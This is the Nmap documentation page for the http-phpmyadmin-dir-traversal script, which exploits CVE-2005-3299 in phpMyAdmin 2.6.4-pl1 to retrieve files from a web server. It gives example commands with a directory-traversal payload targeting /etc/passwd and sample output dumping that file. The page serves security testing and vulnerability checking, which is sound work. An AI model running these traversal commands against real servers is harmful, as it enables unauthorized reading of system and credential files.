Script http-phpmyadmin-dir-traversal

Script types: portrule
Categories: vuln, exploit
Download: https://svn.nmap.org/nmap/scripts/http-phpmyadmin-dir-traversal.nse

Script Summary

Exploits a directory traversal vulnerability in phpMyAdmin 2.6.4-pl1 (and possibly other versions) to retrieve remote files on the web server.

Reference:

Script Arguments

http-phpmyadmin-dir-traversal.dir

Basepath to the services page. Default: /phpMyAdmin-2.6.4-pl1/

http-phpmyadmin-dir-traversal.file

Remote file to retrieve. Default: ../../../../../etc/passwd

http-phpmyadmin-dir-traversal.outfile

Output file

slaxml.debug

See the documentation for the slaxml library.

http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent

See the documentation for the http library.

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername

See the documentation for the smbauth library.

vulns.short, vulns.showall

See the documentation for the vulns library.

Example Usage

nmap -p80 --script http-phpmyadmin-dir-traversal --script-args="dir='/pma/',file='../../../../../../../../etc/passwd',outfile='passwd.txt'" <host/ip>
nmap -p80 --script http-phpmyadmin-dir-traversal <host/ip>

Script Output 

PORT   STATE SERVICE
80/tcp open  http
| http-phpmyadmin-dir-traversal:
|   VULNERABLE:
|   phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2005-3299
|     Description:
|       PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
|     Disclosure date: 2005-10-nil
|     Extra information:
|       ../../../../../../../../etc/passwd :
|   root:x:0:0:root:/root:/bin/bash
|   daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|   bin:x:2:2:bin:/bin:/bin/sh
|   sys:x:3:3:sys:/dev:/bin/sh
|   sync:x:4:65534:sync:/bin:/bin/sync
|   games:x:5:60:games:/usr/games:/bin/sh
|   man:x:6:12:man:/var/cache/man:/bin/sh
|   lp:x:7:7:lp:/var/spool/lpd:/bin/sh
|   mail:x:8:8:mail:/var/mail:/bin/sh
|   news:x:9:9:news:/var/spool/news:/bin/sh
|   uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
|   proxy:x:13:13:proxy:/bin:/bin/sh
|   www-data:x:33:33:www-data:/var/www:/bin/sh
|   backup:x:34:34:backup:/var/backups:/bin/sh
|   list:x:38:38:Mailing List Manager:/var/list:/bin/sh
|   irc:x:39:39:ircd:/var/run/ircd:/bin/sh
|   gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
|   nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
|   libuuid:x:100:101::/var/lib/libuuid:/bin/sh
|   syslog:x:101:103::/home/syslog:/bin/false
|   sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
|   dps:x:1000:1000:dps,,,:/home/dps:/bin/bash
|   vboxadd:x:999:1::/var/run/vboxadd:/bin/false
|   mysql:x:103:110:MySQL Server,,,:/nonexistent:/bin/false
|   memcache:x:104:112:Memcached,,,:/nonexistent:/bin/false
|   ../../../../../../../../etc/passwd saved to passwd.txt
|
|     References:
|       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
|_      http://www.exploit-db.com/exploits/1244/

Requires

Author:

  • Alexey Meshcheryakov

License: Same as Nmap--See https://nmap.org/book/man-legal.html